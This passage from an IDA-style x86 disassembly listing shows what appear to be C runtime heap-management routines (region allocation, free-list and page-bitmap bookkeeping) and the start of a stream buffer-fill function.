		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------


loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi


loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax


loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A2E0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A2D0
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DC904
		call	near ptr 27B0000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A2D0
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A2D0, 0
		jnz	short loc_41E9F6
		mov	off_43A2D0, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A2D4, 0
		jnz	short loc_41EA1B
		mov	off_43A2D4, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A2D4
		mov	[esi+4], eax
		mov	off_43A2D4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 28A05AAh


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 28A05AAh
		cmp	off_43C2F0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C2F0, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DC904
		nop
		call	near ptr 27A0000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A2E0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A2D4
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 28A05AAh
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB2F4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A2D4
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A2D0
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB2F4
		cmp	dword_4DB2F4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C2F0
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C2F0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C2F0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A2D0
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 28A06F1h
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C2F0, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C2F0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------


loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DC5C0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43C950


loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h


loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
